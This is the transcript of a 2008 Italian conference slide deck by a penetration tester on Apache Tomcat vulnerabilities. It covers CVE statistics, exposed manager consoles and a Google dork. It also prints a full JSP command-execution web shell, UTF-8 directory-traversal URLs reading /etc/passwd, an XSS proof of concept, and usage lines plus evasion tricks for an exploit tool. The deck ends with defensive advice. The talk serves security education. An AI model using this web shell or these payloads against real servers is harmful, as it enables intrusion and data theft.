SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
-
Upload
guest2c6b3 -
Category
Technology
-
view
2.406 -
download
1
description
Transcript of SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"
L’evoluzione della specie
…il mondo della sicurezza è una
giungla!
SMAU 2008
Vulnerabilità in Apache Tomcat
Di cosa parliamo oggi...
• Quali sono le principali vulnerabilità scoperte in Apache Tomcat
• Come sfruttare queste debolezze, dal punto di vista dell'aggressore
• Quali vulnerabilità ci dobbiamo aspettare nel futuro prossimo
• Attualmente lavoro come pentester in una grande banca internazionale
• Ricerco vulnerabilità for fun (and profit)• Mi interesso di web application security
ed ethical hacking• Sono membro della comunita’ OWASP
btw: partecipate al capitolo Italiano :)• luca.carettoni[at]ikkisoft[dot]com
Security in depth
Network Security
Operating System Security
Database Security
Web Server Security
Application Security
Physical Security
Apache Tomcat
• Apache Tomcat è un moderno Servlet container sviluppato dall'Apache Software Foundation
• http://tomcat.apache.org/• Pure 100% Java Application Server• Open Source, facile da installare,
abbastanza performante...quindi, praticamente perfetto ? Non proprio
• Implementa diverse versioni delle tecnologie Java Servlet e Java Server Pages (JSP)
3.3.2 (deprecata)2.2/1.14.1.372.3/1.25.5.262.4/2.06.0.182.5/2.1
Apache Tomcat versionServlet/JSP Specification
Powered by Apache Tomcat
• E' stato scaricato più di 10 milioni di volte. Ipotizziamo che solamente l'1% di questi download ha portato all'utilizzo in produzione, il risultato è assolutamente sconvolgente
• Parliamo di più di 100000 installazioni
• Largamente utilizzato da numerose organizzazioni e società: WalMart, O'Reilly On Java, JBOSS ed il portale Italiano VolareGratis.com
• Si stima che circa la metà della global Fortune 500 utilizzi in una qualche installazione Tomcat e derivati
• Date un occhio alla popolarità del sito: http://people.apache.org/~vgritsenko/stats/projects/tomcat.html
Tomcat in the wild...
• Google dork:
12,600 for intitle:"Directory Listing
For /" + inurl:tomcat-docs tomcat
Tactical Exploiting 1/3
• Spesso l'aggressore non deve nemmeno sfruttare vulnerabilità
• Sono gli amministratori che lasciano accessibile una risorsa preziosa
• Default Manager Consolehttp://x.x.x.x:8080/manager/html
• LambdaProbe Console http://x.x.x.x:9099/probe/
• Spesso esposta• Spesso protetta da password non robuste• Per la mia esperienza, troppo spesso !
Tactical Exploiting 2/3
• Oltre ad ottenere informazioni sulla configurazione e sullo stato dei sistemi, un aggressore può alterare le configurazioni e compromettere l'ambiente di fruizione !
• Vediamo, in breve, come:
Tactical Exploiting 3/3
<%@ page import="java.io.*" %><%try { Runtime rt = Runtime.getRuntime(); String cmd = request.getParameter("cmd"); Process ps = rt.exec(cmd); BufferedReader outReader = new BufferedReader(new InputStreamReader( ps.getInputStream())); BufferedReader errReader = new BufferedReader(new InputStreamReader( ps.getErrorStream())); String outLine = null; String errLine = null; out.println("<pre>"); while ((outLine = outReader.readLine()) != null || (errLine = errReader.readLine()) != null) { if (outLine != null) out.println("out: " + outLine); if (errLine != null) out.println("err: " + errLine); } out.println("</pre>"); outReader.close(); errReader.close(); } catch (Exception ex) { out.println("Exception message. Some problem?!?"); ex.printStackTrace(); }%>
Apache Tomcat - Cronologia
4.x
5.0.x
5.5.x
6.x
Fonte: en.wikipedia.org
• La code base iniziale e' stata donata da Sun all' Apache Software Foundation nel 1999
• La prima versione ufficiale è stata la v3.0
La versione attuale è la 6.0.18 (ad oggi, 18/10/08)
4.1.31 4.1.36
5.0.0 5.0.285.0.30
5.5.05.5.1
5.5.45.5.7
5.5.95.5.12
5.5.155.5.16
5.5.17
5.5.205.5.23
5.5.25 5.5.26
6.0.0 6.0.106.0.13
6.0.14
6.0.166.0.18
2002 2003 2004 2005 2006 2007 2008
Vulnerabilità in Tomcat 1/2
• #81 Vulnerabilità segnalate• #44 CVE (vulnerabilità univoche)
• Vulnerabilità per versione:Apache Tomcat JK Connectors: #3 CVEApache Tomcat 4.x: #35 CVEApache Tomcat 5.x: #24 CVEApache Tomcat 6.x: #19 CVE
Source: http://tomcat.apache.org/security.html (11 September 2008)
Vulnerabilità in Tomcat 2/2
CVE-2001-0917 CVE-2002-0493 CVE-2002-0682 CVE-2002-0935 CVE-2002-1148 CVE-2002-1394 CVE-2002-1567 CVE-2002-1895 CVE-2002-2006 CVE-2002-2008 CVE-2002-2009 CVE-2003-0866 CVE-2005-2090 CVE-2005-3164 CVE-2005-3510 CVE-2005-4703 CVE-2005-4836 CVE-2005-4838 CVE-2006-3835
CVE-2006-7195 CVE-2006-7196 CVE-2006-7197 CVE-2007-0450 CVE-2007-0774 CVE-2007-1355 CVE-2007-1358 CVE-2007-1858 CVE-2007-1860 CVE-2007-2449 CVE-2007-2450 CVE-2007-3382 CVE-2007-3383 CVE-2007-3385 CVE-2007-3386 CVE-2007-5333 CVE-2007-5342 CVE-2007-5461 CVE-2007-6286
Source: http://tomcat.apache.org/security.html (11 September 2008)
CVE-2008-0002 CVE-2008-0128 CVE-2008-1232 CVE-2008-1947 CVE-2008-2370 CVE-2008-2938
Vulnerabilità per anno
2001 2002 2003 2005 2006 2007 2008
0
2
4
6
8
10
12
14
16
18
CVEs
Vulnerabilità per severità
LowHighMedium
• Low: Info Disclosure, Denial of Service• Medium: Sensitive Info Disclosure, Cross
Site Scripting, Session Hijacking • High: Directory Traversal, Lettura/Scrittura
File Arbitrari, Esecuzione di Codice Arbitrario
Qualche esempio…
• Directory Traversal Vulnerability • Author: Simon Ryeo• Severity: High • Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x• Exploit Proof-of-concept:
http://www.example.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
• Note: context.xml oppure server.xml deve permettere allowLinking e URIencoding come “UTF-8”.
UTF-8 Encoding2 bytes, 11bits, 110bbbbb 10bbbbbb%c0%ae = “.”%c0%af = “/”
CVE-2008-2938
• Multiple Cross Site Scripting (XSS)• Author: Unknown (reported to JPCERT)• Severity: Medium• Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5-
5.5.24, 4.0-4.0.6, 4.1-4.1.36• Exploit Proof-of-concept:
http://www.example.com/jsp-examples/snp/snoop.jsp;[xss]
• Note: Nessun tipo di validazione. Il classico vettore di attacco <script>alert(123);</script> viene correttamente inoltrato
CVE-2007-2449
• Directory Listing Vulnerability • Author: ScanAlert.s Enterprise Services Team• Severity: Medium• Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0-
4.0.6, 4.1-4.1.31• Exploit Proof-of-concept:
http://www.example.com/;index.jsp http://www.example.com/help/;help.do
• Note: Vulnerabile invocando qualsiasi risorsa (estensione) valida, anche se non esistente, preceduta da un punto e virgola
CVE-2006-3835
Tomcat ZOOThe «all-in-one» exploit
• Pentesting tool, specifico per verificare vulnerabilità note di Apache Tomcat
• Sviluppato in PHP (richiede solo –enable-cli)
• Rilasciato GPL v2
• Attualmente copre il 27% dei CVE per Tomcat:
* CVE-2008-2938 * CVE-2006-3835 * CVE-2007-3385* CVE-2008-2370 * CVE-2006-7196 * CVE-2007-3386* CVE-2008-1947 * CVE-2007-2449 * CVE-2007-5333* CVE-2008-1232 * CVE-2007-3382 * CVE-2007-5461
---------------[ Script Options (basic) ]------------------
Usage:php TomcatZOO.php host port proxyhost: target serverport: the web port, usually 8080proxy: use a proxy defined as IP:PORT:USER:PASS (optional)
Example:php TomcatZOO.php www.example.com 8080php TomcatZOO.php www.example.com 80 127.0.0.1:1234::php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass
Caratteristiche avanzate: Supporto HTTP (senza l'uso di libcurl) Supporto Proxy Opzione di debug Personalizzazione User-Agent Primitive tecniche di evasione
1: fake HTTP GET/POST parameters
2: random case sensitivity
3: Windows directory separator \ instead of /
4: URL encoding applied to URI, HTTP pars and header
ToDo: Supporto HTTPS (per ora utilizzate l'ottimo
www.stunnel.org. Thx Michal!) Coprire la globalità delle vulnerabilità di Tomcat
analizzabili durante black box testing
Tomcat ZOOThe «all-in-one» exploit
Tomcat ZOOThe «all-in-one» exploit
• Disponibile prossimamente (entro fine anno)
• Lo troverete qui: http://www.ikkisoft.com/tomcatzoo/
• E' un tool per ethical hacking !
E nel futuro...• Ancora problematiche di validazione dell'input,
sebbene il codice si sta stabilizzando• Sicuramente ancora Denial of Service, considerando la
numerosità e la complessità dei componenti• Sicuramente ancora Cross-Site Scripting• (Tendenzialmente) nessun buffer overflow.
I componenti non sviluppati in Java sono limitati
• Come difenderci quindi?• Reattività: mantenersi aggiornati e preparare già ora
un ambiente di test dove provare le future release, prima della messa in produzione. Estote Parati !
• Online patching: Application firewall e simili, pronti per essere configurati ad-hoc appena viene rilasciata una nuova vulnerabilità
Contatti, Domande
• Grazie dell'attenzione! Domande ?!?
Luca Carettoniluca.carettoni[at]ikkisoft[dot]comhttp://www.ikkisoft.com